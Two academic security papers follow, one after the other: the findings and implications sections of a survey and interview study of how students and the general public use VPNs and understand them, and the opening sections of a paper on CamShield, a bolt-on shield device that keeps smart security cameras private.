Students Most student respondents used the VPN offered
by their university (228/349) and nearly half also used free
commercial VPNs (172/349) (Figure 1). A smaller fraction
of students used paid commercial VPNs (97/349). Fewer re-
spondents used VPNs through their employer (60/349) or a
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Figure 1: Types of VPNs used (responses selected by participants)

personal VPN that they set up themselves (23/349); 49/349
students used only VPNs provided by their university, and
91/349 used only commercial VPNs.

Table 4 also shows the most common VPNs that student
respondents used; these choices are similar to the general
population sample. The students used a variety of paid VPNs,
including ExpressVPN (40/97), NordVPN (18/97), and Pri-
vateInternetAccess (10/97). There is also a long tail of less
popular choices, with 50/97 students using paid commercial
VPNs that five or fewer other students used. Eight survey
participants that reportedly used paid commercial VPNs did
not specify particular VPNs.

The most common free commercial VPNs respondents
used were Hotspot Shield (40/172), TunnelBear (33/172),
Hola (27/172), and Betternet (25/172). Notably, some respon-
dents indicated they used SonicWall or ConnectTunnel which
is the VPN offered by the university, indicating some con-
fusion on what is an institutional versus commercial VPN
provider. Furthermore, 35 student respondents that reportedly
used free commercial VPNs did not specify which VPNs they
used.

Table 5 shows that students felt safest using university or
employer-provided VPNs. They also felt safer using paid
commercial VPNs than free commercial VPNs.

When asked whether it was important who their VPN
provider was, 11/32 interview participants said it was, par-
ticularly for these who used their university’s VPN (7/11).
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Survey Free VPN # % Paid VPN # %
Hotspot Shield 58 18.1% NordVPN 49 16.3%
ProtonVPN 38 11.9% ExpressVPN 39 13%
Betternet 32 10% Private Internet Access 16 5.3%

General Population TunnelBear 28 8.8% IPVanish 15 5%
Hola 23 7.2% TunnelBear 12 4%
Less popular choices 136 42.5% Less popular choices 167 55.7%
Total responses 315 100% Total responses 298 100%
Hotspot Shield 40 20% ExpressVPN 40 30%
TunnelBear 33 16.5% NordVPN 18 13.5%
Hola 27 13.5% PrivateInternetAccess 10 7.5%

University Students Betternet 25 12.5% TunnelBear 8 6%
HIDE.ME 11 5.5% AstrillVPN 5 3.8%
Less popular choices 58 29% Less popular choices 50 37.6%
Total responses 194 100% Total responses 131 100%

Table 4: Breakdown of the most commonly used free and paid VPNs from each survey.

Survey Response VPN through school/employer # % Paid VPN # % Free VPN # %
General Population Safe 41 22.3% 36 29.5% 8 4.3%

Somewhat safe 69 37.5% 59 48.4% 47 25.3%
Neutral 49 26.6% 25 20.5% 60 32.3%

Somewhat vulnerable 18 9.8% 1 0.8% 65 34.9%
Vulnerable 7 3.8% 1 0.8% 6 3.2%

University Students Safe 54 23.5% 21 22.3% 4 2.8%
Somewhat safe 73 31.7% 31 33% 46 31.9%

Neutral 71 30.9% 27 28.7% 36 25%
Somewhat vulnerable 32 13.9% 11 11.7% 46 31.9%

Vulnerable 8 3.5% 4 4.3% 12 8.3%
Table 5: How “safe” participants feel using different types of VPNs. (responses selected by participants)
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Figure 2: Why do/did you use a VPN? (responses selected by par-
ticipants)

University VPNs were reassuring for them because they be-
lieved they were safe to use. However, interviewees were less
consistent concerning what they were willing to do online us-
ing their university or employer-provided VPN. For example,
5/16 interview participants who used their university VPN
reported that they would use it only for completing univer-
sity work, because they simply did not feel private, they felt
that university could track them, or that using their univer-
sity network made them more vulnerable. On the other hand,
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Figure 3: Who are you trying to protect yourself from? Choose and
rank your choices based on level of concern.

5/16 interview participants told us they used their university
VPN for private activities, such as browsing. For example,
P32 would simply forget to switch it off and did not mind
having it on:

It really doesn’t bother me if someone is looking at what
I’m doing while I’m on the VPN, just because my philos-
ophy is like, at this point it’s probably all there anyway.
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Figure 4: Why did you stop using a VPN? (responses selected by
participants)

4.1.2 Why Do Users Use VPNs?

General Population Figure 2 shows why respondents used
VPNs. General population respondents reported using VPNs
because of the privacy (257/348) and security (233/348) they
provide, with 279/348 participants selecting at least one of
these options. We asked these respondents to choose and rank
who they were protecting themselves from when using a VPN.
Figure 3 shows that these respondents were primarily con-
cerned about hackers, companies, government, and websites.
Interestingly, not many saw a threat in their closer circles,
including their school, employer, friends, and family.

In contrast to the student respondents, bypassing censor-
ship (134/348) and accessing institutional content (105/348)
were somewhat less prevalent reasons for using VPNs in the
general population sample. Fewer respondents from the gen-
eral population specified other reasons through free response
for using VPNs (15/348).

Students Most student respondents used a VPN to ac-
cess content—specifically institutional materials—when off-
campus (230/349) (Figure 2). Additionally, 168/349 survey
respondents reported using a VPN to bypass Internet cen-
sorship, and 138/349 survey participants said that they used
VPNs to protect privacy or security. Similarly to the general
population, most of these survey respondents ranked compa-
nies, hackers, the government, and websites as top concerns.
As shown in Figure 3, fewer participants were concerned
about other governments or friends and family.

For those who specified “Other” in the survey, students
commonly reported using a VPN to access Advanced Place-
ment (AP) scores, as S108 noted: “To access AP scores early
(they were releasing them one time zone at a time to prevent
too much web traffic)”.

Our student interview participants (21/32) reported using
a VPN to bypass geographic firewalls and watch movies or
TV shows online (15/21). For eleven student interview partic-
ipants, accessing blocked content was a priority when using
a VPN. In a typical example, P11 spoke of using a VPN for

news websites that were not blocked but had different or lim-
ited content depending on the Internet Protocol (IP) address
of the Internet user. As this participant was from the United
Kingdom (UK), they wanted to access the UK British Broad-
casting Corporation (BBC) website while they were living in
the US. Also, P26 used a VPN to help his or her mother:

Venezuela has blocked everything coming from their
YouTube channels, and I have my mom reroute the US
IP address to a Mexican IP address with a VPN, so then
she could watch her Venezuelan TV shows.

Thirteen interview participants said that privacy was not
the main reason for using a VPN. Fewer (7/32) used it to
protect their personal information, and four wanted a VPN to
be secure and keep them anonymous. For example, P21 said:

I guess I don’t like the idea of [the university] or an ISP
being able to see all of my traffic. I don’t think that I trust
anyone with all of my traffic or consumer habits.

4.1.3 How Often Do Users Use VPNs?

General Population The general population respondents
used VPNs more often than students. Around half of our
respondents did not currently use VPNs (171/348). Most re-
ported using VPNs sometimes (164/348), followed by 91/348
respondents who reported using them most of the time. The
minority of respondents who reported having completed or
being currently enrolled in higher education in the general
sample reportedly used VPNs on the ends of the spectrum:
31/348 used VPNs always, and 62/348 rarely. About half
of the general population respondents (171/348) stopped us-
ing VPNs at the time of data collection, as they did not use
it enough (64/171), had nothing to hide (53/171), were not
location restricted (47/171), or found VPNs too expensive
(44/171) (Figure 4).

Students VPN usage appeared to be more irregular and
on an “as needed” basis among student respondents. Most
students (201/349) reported that they did not currently use a
VPN, with only 148/349 survey respondents reporting that
they currently use a VPN. When asked how often student
respondents used a VPN, 302/349 reported only using a VPN
sometimes or rarely. A minority reported using a VPN all the
time (10/349) or most of the time (37/349). Figure 4 shows
that of the 201 respondents that stopped using VPNs, some
reported that they were no longer location restricted (92/201),
did not have anything to hide (74/201), or simply did not use
it enough (68/201). Very few of these respondents reported
a lack of security (3/201) to be a contributing factor in their
decision to stop using VPNs.

Seven interview participants reported using VPNs only
when they needed to, while 4/32 participants would always
have it on. One interviewee from this group explained that
VPNs would take up storage on their computer, and consume
battery life. Another example of on-demand usage was from
P26, who was restricted by the bandwidth limitations of Wind-
scribe, a free VPN:
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Figure 5: What do you think a VPN is? (response coded by re-
searchers)
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Figure 6: What kind of data do you think your VPN provider collects
about you? (responses selected by participants)

Like the Windscribe, I get 10 GB every month, and I
certainly go through more than 10 GB of Internet.

4.2 Mental Models of VPNs

Most participants did not know how VPNs worked
technically (Figure 5) but knew the purpose of a VPN.
Both groups believed VPNs collect data about them
as a default consequence of using these tools and pri-
marily for advertising reasons (Figure 7). Regardless,
the general population expected privacy and safety
from tracking from VPNs (Figure 10).

4.2.1 What Do Users Think VPNs Are?

General Population More general population respondents
described VPNs as a private or secure connection (265/348)
than the student population (Figure 5). This is typified by
the response from G39, who described VPNs in terms of the
security features they supposedly provide:

A blocker. Blocking out information such as location,
passwords, any personal information on my device.

Fewer respondents described VPNs as software that enables
location spoofing (139/348). Even fewer described VPNs as
intermediaries (31/348), or as software that enables them to
access certain content (34/348). They also more often de-
scribed VPNs as separate networks (34/348) than as remote
connections (29/348).

Students Most survey participants had a fairly good idea
about the purpose of a VPN, such as location spoofing
(153/349) (Figure 5). As S255 described, for them a VPN
was “Tricking my Internet to think I’m somewhere else in the
world.” Survey respondents also described a VPN as a private
or secure connection (133/349). As S283 reported:

It’s been described to me as an “Internet condom”. It pro-
tects your Internet information by setting up a different
IP address.

Others defined a VPN as an intermediary (86/349), for exam-
ple S78 reported that “It’s a porthole to allow private com-
munication/data transfer between two devices.” Ten survey
respondents reported they did not know what VPNs are or
how to define them. Overall, our participants seemed to have
a good functional model of VPNs (“what a VPN does for
me”), as opposed to a technical model.

Similarly, when asked what a VPN is, most interview par-
ticipants could list features that a VPN provided. On the other
hand, most participants were less familiar with technical ex-
planations. Almost half (14/32) described a VPN as routing
your Internet activity through third party machines or as a
service for changing your IP address, masking your identity
(10/32), or reducing others ability to track you (10/32). P18
explained:

It’s sort of a middle man. So instead of you actually
downloading the file from someplace where somebody
might be looking at you downloading it, they download
it for you and then they send it to your computer. So it
figures that they downloaded it and not you.

Some participants believed that VPNs allow you to access
blocked content (13/32), allow access into another network
(7/32) and others described a VPN as secure, private, or adding
an extra level of safety (13/32). In a quote typical of what
we heard from participants, P25 described benefits of using a
VPN:

Its usefulness is pragmatism, it’s like, “I need to see this
YouTube video, but they don’t let me see it in Brazil so
I’m just going to do it in Belgium.” I think that that’s
what VPNs are to me.

4.2.2 Do Users Consider VPNs Private?

General Population 230/348 of the general population re-
spondents reported that VPNs collect data about them, such
as their location (205/230), online activities (176/230), in-
formation on the device they used (156/230), demographics
(157/230), or interests (117/230) (Figure 6). However, 76/230
respondents believed that only their VPN had access to their

USENIX Association 31st USENIX Security Symposium    3459



0 100 200 300
Response Count

Default consequence

Advertising

Political motives

I don’t know

Theft

Crime investigation

Blackmail

Other (specify)

Not shown question

178

177

44

27

21

17

9

5

149

142

64

30

22

16

9

7
90
118

Students
General Population

Figure 7: Why do you think your VPN provider collects your data?
(responses selected by participants)
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Figure 8: Who do you think has access to the data collected by your
VPN? (responses selected by participants)

data (Figure 8). Few general population respondents believed
that the motives for collecting data were nefarious. The gen-
eral population respondents also more commonly believed
that their data was collected by for political motives (Fig-
ure 7).

154/230 respondents thought their information was being
shared with other parties. As shown on Figure 8, the general
population believed that other companies (77/154), govern-
ment (63/154), websites (58/154), and their Internet Service
Provider had access to their data. They also believed that
other entities have access to users’ online activities (122/154),
location (119/154), demographic information (110/154), inter-
ests/preferences (97/154) and type of user’s device (88/154)
(Figure 9).

Students 259/349 of student survey respondents believed
that their VPN provider could collect data about them. Fig-
ure 6 shows that most student respondents believed that
VPNs collect location data (226/259) and online activi-
ties (191/259). Fewer believed that VPNs collected pri-
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Figure 9: What information do you think is being shared with these
entities? (responses selected by participants)

vate messages (44/259), recordings (39/259), or keystrokes
(38/259). Some student respondents did not know what was
collected (25/259).

Figure 7 shows that most of these respondents believed
that VPNs collect data for commercial motives (177/259), or
simply because data collection is a “default consequence of us-
ing the Internet” (178/259); 126/259 of respondents selected
both options. Like the general population, few respondents
believed that the motives for data collection were nefarious—
such as blackmail (9/259)—and some survey respondents
selected “I don’t know” (27/259).

There was also little consensus between participants on
who had access to the collected data. The largest proportion
of student respondents, as shown in Figure 8, believed that
companies (112/259) and the government (88/259) had ac-
cess to the data collected by VPNs. A smaller proportion
believed that only VPNs had access (47/259), and 50/259 of
respondents did not know where their data went.

Figure 9 shows that the 212/259 respondents that be-
lieved other entities had access to the data collected by their
VPN thought that their location (157/212), online activities
(149/212), interests (122/212), and demographic information
(121/212). Fewer believed that private messages (29/212),
recordings (25/212), or keystrokes (22/212) were shared,
which coincides with what survey participants believed VPNs
could collect.

Most interview participants (23/32) also believed that
VPNs collect their data, with some expressing that VPNs keep
data for statistics or to sell the data. For example, P11 believed
that VPNs could keep logs for many different reasons:

If you’re using VPNs for a bit more nefarious means, for
example, like buying drugs or trading child pornography
and things like that. (. . . ) I think some of them do keep
logs, and they’re able to give them over to police, and
the governments, and things like that. (. . . ) And then,
other ones are a bit more simple, like tracking users’ web
habits to sell to advertisers and things like that.
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Figure 10: What do you think your VPN guarantees? (responses
selected by participants)
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Figure 11: When did you first use a VPN? (response selected by
participants)

Interestingly, several interviewees (7/32) also believed that the
university has a VPN to access all information about students
and to monitor if someone is cheating during exams.

4.2.3 Do Users Feel Anonymous
When Using VPNs?

General Population Figure 10 shows that the general pop-
ulation survey respondents believed that VPNs guarantee not
only access to content (218/348), but also privacy, (208/348),
safety from tracking (192/348), and anonymity (177/348).
199/348 of the respondents also believed that VPNs mask
their IP addresses.

Students Interestingly, student respondents generally did
not feel that VPNs provided total anonymity. Three quarters
of all student respondents believed their VPNs guaranteed
access to certain content (263/349) and masking of their IP
addresses (186/349). However, only about one-third of stu-
dent respondents believed that their VPNs guaranteed privacy
(125/349), anonymity (104/349), and safety from tracking
(99/349) (Figure 10).

Similarly, most interview participants did not believe that
VPNs guaranteed them anonymity (20/32). In fact, three-
fourths of interview participants (24/32) believed that it is
possible to be tracked when using VPNs, and some believed
that there is always a way to do so (8/32) and that you can be
tracked by VPN provider itself (9/32). P1 explained:

If it is SSL encryption, the VPN provider would still
know that you are communicating with a certain web
service but the VPN provider would not or probably not
know the contents of the communication if it’s SSL en-
crypted. They would only know who you want to com-
municate with. And if it’s not encrypted, then they can
see. They can be doing packet sniffing or even more ma-
licious things like deep packet injection and deep packet
inspection to actually look at the contents of that commu-
nication and do potential malicious things with that.

4.3 VPN Selection

Many respondents learned about VPNs as early as
high school or college (Figure 11). All respondents
choose VPNs based on cost, security, and speed (Fig-
ure 12). The general population prioritizes better se-
curity and safety but students primarily care about
accessing content and the good reputation of VPNs
when choosing one.

4.3.1 When Do Users Start Using VPNs?

General Population The general population showed con-
siderable variability concerning when they first started using
VPNs, as shown in Figure 11. A plurality of these respondents
first used a VPN as early as high school (114/348). A simi-
lar number of participants first used a VPN either in college
(104/348) or after college (105/348).

Students Most student respondents reported using VPNs
first at their university (156/349) (Figure 11). Many also re-
ported using VPNs as early as high school (123/349). Not
many participants first used a VPN “after college” (42/349),
likely because a large fraction of the sample was undergradu-
ate students.

Two interview participants reported that they first started
using VPNs when they were in high school. P20 told us how
he used VPNs to access websites that were blocked by his
high school:

I’ve used them for a few reasons, but privacy was never
really one of them. It was just when my content was
restricted when I was in boarding university, I went to
boarding university for high school. Our Wi-Fi was very
tightly patrolled. So any number of things were blocked,
like from adult content, to a lot of sports websites for
instance were blocked, because they “encouraged gam-
bling” and I like to watch a lot of sports online illegally,
because that was the only way I could watch them.

Another participant, P26, shared how they used a VPN to
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Figure 12: Rank the five most important factors when choosing a
VPN.
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Figure 13: What do you like about your VPN(s)? (response coded
by researchers)

download a graphics editor, which they could not afford in
high school:

The university computers came with a standard photo ed-
itor that was pretty bad. So we wanted to use Photoshop,
and Photoshop is very expensive. So one of my friends
recommended that we torrent it from The Pirate Bay, so
we went on there, and I remember it has a warning that
says, make sure your IP is masked(. . . ) I did that, and
then we downloaded Photoshop for a university project.
I think I was maybe 16 at the time.

4.3.2 How Do Users Select a VPN?

General Population Figure 12 breaks down what consider-
ations were important to the general population when choos-
ing between VPNs. The general population respondents con-
sidered security and cost to be important considerations when
choosing which VPN to use. Privacy was a more important
consideration than ease of use for the general population,
which is consistent with our other finding that the general
population often describes VPN functionality in terms of
privacy and security (Figure 5).
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Figure 14: What do you dislike about your VPN(s)? (response coded
by researchers)

We asked respondents to report in short-answer form what
they liked and disliked about VPNs; Figures 13 and 14 show
the coded results. The general population appreciated dif-
ferent things about their VPNs than the student population.
They tended to value security/safety (109/348) and privacy
(104/348) highly. As G327 said:

Instead of feeling like lots of different users and compa-
nies are hoarding and selling data about me, now I only
feel like one company is doing it! Hooray!

Slightly more general population respondents liked that their
VPN enabled them to access blocked content (86/348), but
fewer mentioned access to unspecified forms of content
(34/348). Other qualities like convenience and speed were
less important.

The general population disliked their VPNs for many of
the same reasons that the student population did. They pri-
marily expressed frustration with unstable (80/348) or slow
(77/348) VPNs. They also did not like VPNs with poor inter-
faces (60/348), and some said that VPNs that were too costly
(40/348).

Students The most important considerations that student
respondents had when choosing between VPNs were cost,
security, and ease of use (Figure 12). Student respondents
valued privacy relatively less than the general population, and
speed and transparency were rated as relatively low priorities,
as well.

Figures 13 and 14 show what students liked and disliked
about their VPNs. The ability to access blocked content (e.g.,
geo-restricted video streaming websites), institutional content,
or other kinds of content was by far the most commonly liked
feature of students’ VPNs (223/349). S131 appreciated the
ability to have access to many things:

It allows me to view content that is restricted by a time
zone limit like test scores, acceptance letters etc. Also
if you’re in another country that doesn’t allow certain
media platforms (e.g., Netflix, Hulu), VPNs allow you to
access them.
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Other qualities, including security, privacy, and interface de-
sign, were less prevalent concerns.

Student respondents did not like slow (83/349) and unstable
(83/349) VPN connections. Forty-eight student participants
also complained about cost, either in general or for specific
features. For example, some students did not like that free
VPNs have limited server locations and that they have to pay
for additional options.

Interviewees and student respondents differed slightly in
terms of how they chose a VPN to use. For most interview
participants (19/32), the most important factor was that the
VPN provider had a good reputation; three participants added
that if their friends had used a VPN before, then they were
more likely to use one. When we asked interviewees how
they determined whether their VPN provider was trustworthy,
13/32 said they checked to see whether it had good reviews
online. Another 10/32 would verify the reputation of the VPN
provider through word of mouth, and 7/32 determined trust-
worthiness based on who provided access to their VPN, such
as the university.

We asked interviewees about their general experience and
feelings related to VPN usage. We wanted to know whether
they saw any differences in their Internet experience when us-
ing VPNs. Ten interviewees found the biggest difference was
their ability to access blocked content; 8/32 felt more secure.
Nevertheless, 10/32 interviewees did not see any difference
in the way they used the Internet and did not observe changes
in their online habits. P20 noted:

I sort of have the assumption that any time I use the
Internet, any privacy I have is super limited. But you
would think that using a VPN would help with that in
some way. I don’t think it would actually change my
behavior online at all, but I think it would definitely make
you feel a bit more secure in that.

5 Implications of Findings
Most participants considered data collection by the VPN
provider to be a default consequence of using the service. Par-
ticipants typically had limited understanding of how VPNs
work and of data collection on the Internet in general. We
view this as cause for concern and perhaps a direct conse-
quence of some of our other findings about users’ lack of
understanding about the guarantees on data protection VPNs
provide. Some of this defeatism and confusion may arise
from the conflated nature of the term “VPN”, which not only
refers to many different functional deployments (e.g., insti-
tutional, commercial) but also a variety of use cases from
improving privacy to gaining access to restricted content. The
term “private” in VPN can be misleading; previous research
and studies have shown that users may be surrendering more
privacy depending on their choice of VPN provider than if
they had not used a VPN in the first place [20]. Some users
seem to deem this tradeoff as acceptable, in spite of the fact
that they also choose their VPN provider on the basis of the
privacy guarantees it provides.

Our study’s main takeaway is that users ultimately need
a better understanding of how VPNs work, as well as the
broader implications of VPN data collection. Users could also
benefit from better resources to help them to choose a VPN.
Future studies could investigate how VPN interfaces could
be enhanced to improve mental models of VPN functionality
and provide information about the actions and data flows as-
sociated with the VPN. For instance, intuitive graphics and
tutorials could show how a VPN manipulates and re-routes
a user’s traffic. Such material could make it clear both how
VPNs operate and the parties that still have access to private
data. Users may also benefit from concrete demonstrations
and examples of what can be inferred from data that VPNs in-
tentionally leak to third parties. Potential tools (e.g., a browser
extension) could help users understand (1) what data VPNs
may collect about them; (2) what data leaks outside of the
VPN (e.g., to ISPs, content providers).

Moreover, many users selected VPNs based on cost, and
yet at the same time were concerned about whether free VPNs
collected and shared data about them. This finding suggests
that users not only may have fundamental misunderstandings
about how data is collected about them on the Internet, but
also that some users may be constrained by cost, ultimately
making privacy a luxury good. Although more work is needed
to confirm this hypothesis, we expect that both conceptual
misunderstanding and cost constraints may be putting certain
populations at higher risk of data collection, and future work
could also more deeply explore strategies for “privacy equity”
among demographics who may need both the education and
the financial means to select a safer VPN. The results from
this work could also be extended to understand whether user
attitudes and awareness about VPN practices translate to other
privacy-enhancing technologies, including private-browsing
mode on common browsers or with Tor.

6 Conclusion
This paper has explored how different groups of users use
VPNs, their mental models and attitudes about data collec-
tion by VPN providers, and how and why they choose certain
VPNs. This study has revealed several new and interesting
themes: (1) The general population uses VPNs more for secu-
rity and privacy and tends to use VPNs continually. Students
also valued these goals but tended to use VPNs more as a
means to circumvent access controls; (2) Most participants be-
lieved VPNs collect data about them as a default consequence
of using these tools, primarily as a means for targeted adver-
tising; and (3) Participants from both groups learned about
VPNs around high school and college or, in the case of the
general population, later. Future work could attempt to repeat
this study with other populations and design interventions to
help users understand these risks.
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Abstract
Smart home devices, such as security cameras, are equipped

with visual sensors, either for monitoring or improving user ex-

perience. Due to the sensitivity of the home environment, their

visual sensing capabilities cause privacy and security con-

cerns. In this paper, we design and implement the CamShield,

a companion device to guarantee the privacy of smart security

cameras, even if the whole camera system is fully compro-

mised. At a high level, the CamShield is a shielding case that

works by attaching it to the front of the security camera to

blind it. Then, it uses its own camera for visual recording. The

videos are first protected according to user-specified policies,

and then transmitted to the security camera and hence to the

Internet through a Visible Light Communication (VLC) chan-

nel. It ensures that only the authorized entities have full access

to the protected videos. Since the CamShield is physically

isolated from the shielded security camera and the Internet, it

naturally resists many known attacks and can operate as it is

expected to.

1 Introduction

Smart home represents the intelligentization trend of house ap-

pliances, accessories, and furniture. It brings us convenience

but at the cost of our sound and video information being gath-

ered and analyzed. More than 70% of surveyed consumers

are very concerned about the risks of being spied on by their

smart home devices [11].

Their concerns are not fiction. Visual sensors are ubiqui-

tous in smart home devices. They reside in places like security

cameras and doorbell cameras, and are in new devices like

smart TVs [17], refrigerators [15], pet monitors [5], etc. They

are essential to smart devices since they render visual capabil-

ities, e.g., remote monitoring, video analysis, etc. However,

in many cases, networked smart devices are neither transpar-

ent nor secure. The recorded videos are subject to various

vulnerabilities [27] and unauthorized leakages. It is reported

∗Corresponding Author

that curious cloud might spy on the content [14]. Used Nest

security cameras might leak videos about the former user [3].

When Xiaomi IoT cameras are connected to the Google Hub,

the monitoring images might show scenes of other users [24].

The security and privacy issues of visual-capable smart

devices have led to many discussions [50, 51, 64]. A common

solution is to protect videos in the device before transferring

them out, but it will fail if the device has been taken over by

the attacker [1, 23], i.e., it is fully compromised. This leads to

the concept of trusted camera, which operates strictly in the

way specified by its owner. One possible way to build a trusted

camera is to make use of the trusted execution environment

(TEE), which isolates the critical computing components so

that they cannot be tampered with. However, a complete TEE

requires secure hardware such as compatible processors [30]

and visual sensors capable of hardware encryption [53], which

cannot be satisfied by legacy devices already in use. Moreover,

since some smart devices also need to perform local video

processing, such as face detection, the TEE must also cover

the processing pipelines, which is still an open problem due

to the large code base size.

We believe a viable solution of trusted camera should be

able to resist most threats, practically feasible, and prefer-

ably compatible with legacy devices. Our key insight is that

the major complexities and vulnerabilities of trusted comput-

ing systems are rooted in their design philosophy - isolating

trusted and untrusted computing components while leaving

them sharing the same hardware or even the software. How-

ever, why can they not be physically isolated? This question

motivates our approach.

1.1 CamShield Approach

CamShield is a hardware-software co-designed system to

force ordinary visual sensing devices to become trusted cam-

eras. Without loss of generality, this paper primarily concen-

trates on smart security cameras (or smart cameras in short).

As shown in Figure 1, the CamShield system consists of the

CamShield device and the CamShield App. At a high level, the
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Figure 1: Concept of CamShield. The CamShield system

consists of the CamShield device (red) and the CamShield

App to secure the smart camera. It protects the privacy of the

video content even if the smart camera is fully compromised.

The CamShield device blinds the smart camera with its shield

and replicates the visual sensing capability with its own cam-

era sensor. It captures and delivers videos to the CamShield

App through an encrypted channel. The CamShield device

is physically and logically isolated from the network and the

smart camera, and hence resists many known attacks.

CamShield device (or the CamShield in short) is a physical

shield in front of the smart camera. When the CamShield is

properly installed, the shielded camera can only capture the

inside part of the CamShield, and hence is blinded in visually

sensing the surrounding environment, e.g., the living room.

A blind camera is no longer subject to privacy leaks and at-

tacks. To preserve the original functionalities of the smart

camera, the CamShield has a visual sensor in front of the

covered smart camera for visual sensing. The recorded video

is encrypted, and then transferred to the companion app - the

CamShield App, through the network connection of the smart

camera. The owner uses the CamShield App to decrypt the

video captured by the CamShield.

The trustworthiness of the CamShield system is based on

two facts. First, the CamShield device is standalone. Its com-

puting components are not only logically but also physically

isolated from the smart camera and the network. Such isola-

tion protects it against most practical attacks. Second, the only

input interface of the CamShield is its visual sensor, which

can hardly be abused to modify its software logic.

1.2 Contributions

To realize the idea of CamShield, we must address the fol-

lowing challenges: First, how can the CamShield transfer the

video stream to the smart camera without violating the isola-

tion? One solution is to use cables to wire their pins, but this

needs hardware and firmware modifications on smart cameras.

Our approach is to reuse the visual sensing ability of the smart

camera to perform visible light communication (VLC). The

CamShield contains a tiny screen inside its shield case. The

captured video stream is encoded into a QR-code-like stream

and displayed on it. Then, the smart camera captures and de-

codes the code stream to obtain the video. This one-way VLC

data path keeps the CamShield isolated from the smart camera

without requiring any modifications to the smart camera.

Second, CamShield uses end-to-end encryption between

the CamShield and the App to guarantee the security of

the videos. However, a fully-encrypted video eliminates the

benefits from third-party services, e.g., cloud video analysis.

CamShield adopts a partially-encryption scheme, which en-

crypts only the sensitive areas or the region of interest (ROI)

of the video, and thus allows the cloud servers to provide

useful interference, e.g., gestures, without knowing sensitive

information, e.g., the face in Figure 1. The problem is how

can the user specify the ROIs according to his/her own con-

cerns, as the CamShield is an isolated device, which lacks

common input interfaces. We use another VLC channel from

the owner’s smartphone screen to the CamShield’s camera to

send configuration messages. It incorporates authentication

protocols and hardware interfaces to enhance security and

user awareness.

Third, as a key selling feature, most smart security cameras

support motion detection, e.g., to detect intruders. However,

when using the CamShield, the smart camera captures VLC

streams rather than the actual environment, hence the original

motion detection module no longer works. We use compatibil-

ity designs to preserve this feature. Our solution is to replicate

the motion detection algorithms at the CamShield, and then

trigger the smart camera’s motion detection by emulating the

movement inside the shield.

We prototype a complete CamShield system. The hardware

of the CamShield is assembled with commercial components

and a 3D-printed case. The CamShield App is developed for

smartphones to decrypt and render videos in real-time. Our

evaluation covers five commercial off-the-shelf (COTS) smart

cameras from different manufacturers. The CamShield system

preserves most of their original features while making them

trustworthy.

This work makes the following contributions:

• We propose and practice using physical isolation and func-

tion replication to achieve trusted computing. Its merit

arises in situations where hardware replication cost is not

the major issue.

• We design and implement the CamShield system. It is a

bolt-on solution that turns a general camera into a trusted

one without incurring hardware and software modifications.

2 Background and Related Work

2.1 ROI-based Visual Privacy Protection
Digital cameras are prevalent in both public and private places.

People are concerned about whether their sensitive informa-

tion, such as the face, behaviors, properties, etc., would be

captured and abused by the camera’s owner or operator for
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fun, profit, or censorship. One direct way to protect visual

privacy is to blur the entire video stream, but it would cause

information loss and reduce the utility value of the video. This

is the trade-off between privacy and functionality. An elastic

way is to use partial protection [50], where only the sensitive

areas are protected and the rest are open for functional use.

The first step of partial protection is to identify the region

of interest (ROI), which represents the sensitive areas of the

video/image. An example in common is the face, but in gen-

eral, ROIs are quite subjective. ROI detection usually relies

on computer vision (CV) techniques, such as traditional hand-

crafted filters and recent deep neural network detectors. Some

approaches utilize additional sensors to detect special ROIs.

For example, thermal image sensor [67] and biological signal

sensor [43] are used to differentiate the human face from the

background.

The step after ROI detection is to protect the ROI areas.

Blanking, blurring, pixelation, replacing to an object, etc.,
are common methods used to reduce the information the

ROI contains to protect privacy [50]. ROI areas can also be

protected with encryption [33]. ROI encryption is lossless and

thus retains raw information, which allows authorized entities

to access the complete video.

We follow the above ROI-based protection framework to

design CamShield. Related work can be classified into the

following two categories.

2.1.1 Pre-capture Protection
The visual content is protected before being captured by the

smart camera. This is usually achieved by intervening the

protection system in the original imaging system.

One way is to use a computational visual sensor, whose

pixels can be flexibly controlled. Fernández-Berni et al. [35]

show that once ROIs are detected, the sensors can be con-

figured to obfuscate the areas. Another way is to use optical

filters. Tan et al. [54] design optics to blur the scenes to a level

to destroy sensitive information but retain the detectability

of the human face. Pittaluga et al. [48] attach a small lens in

front of the camera to defocus and blur sensitive information.

Anonymous camera [67] utilizes an additional thermal cam-

era to detect the face and then uses a programmable optical

filter to block the areas in the scene. Kitajima et al. [43] keep

the camera defocused and use a pulse wave sensor to detect

human faces based on the color variation due to heartbeats.

CamShield is similar to the above approaches in that it also

performs ROI-protection prior to the digitization of the smart

camera. However, CamShield pursues a trustworthy and com-

plete system while they mainly focus on specific techniques

and components. For the functional aspects, computational

sensors are experimental and not suitable for commercial

devices. Optical filters lack flexibility and cannot easily be

modified for different ROIs. Further, their protection schemes

irreversibly destroy ROIs or even the entire frame, while the

ROIs of CamShield can be recovered after decryption.

2.1.2 Post-capture Protection
The visual content can also be protected after the camera’s

digitization. Many discussions assume the camera system is

trustworthy and focus on other aspects of the privacy protec-

tion problem [50, 51, 64], e.g., computational overhead [65],

timing channel [45], etc.
Instead, we are concerned about the assumption and want

to make smart cameras’ digital world secure even if they are

found in the hands of attackers. This is a challenging problem

since smart cameras are subject to various attacks in practice.

The security flaws lying in the camera’s firmware, operat-

ing system (OS), processing software, and network protocols

might all be made use of by attackers to access the raw video

content or even compromise the whole camera system.

A potential solution is trusted computing. It is based on

isolation and verification techniques to ensure that specific

computing components cannot easily be tampered with. Early

work takes advantage of the Trusted Platform Modular (TPM)

chip to build cameras [62, 63]. TPM allows for secure boot

and has a sealed key for hardware encryption, but it does not

protect the running OS and video processing components.

Hence it has a weaker threat model. Apart from the above,

little work has been done to realize trusted cameras. This

is because if the OS/driver managing the raw data from the

visual sensor is compromised, little can be done in the soft-

ware to protect the video content. In fact, achieving trusted

peripherals I/O is a longstanding problem in trusted comput-

ing. Some approaches rely on virtualization for isolation but

assume trusted hypervisors [29, 60]. Hardware TEE is free

of the assumption but is limited to specific lightweight func-

tions such as the control path [26, 44], the display UI [46],

the keyboard [32], etc. The complexity comes from the large

code base of the camera driver and the video processing stack,

e.g., OpenCV, TensorFlow, etc. It is challenging to cover all

of them in the trusted computing base (TCB) [52].

An alternative approach is to use dedicated hardware, such

as FPGA [37], embedded processors [28,49,61] as a separated

and isolated middle layer to perform the video processing and

protection tasks before delivering the content to the camera’s

host system. CamShield is similar in that they all perform

ROI processing in independent hardware to isolate sensitive

information from untrusted software. However, CamShield

is different in that it replicates the imaging and processing

components of the smart camera. It renders physical and

hence likely stronger isolation. Importantly, CamShield is a

bolt-on solution and compatible with legacy camera devices.

2.2 Screen-to-camera Channel
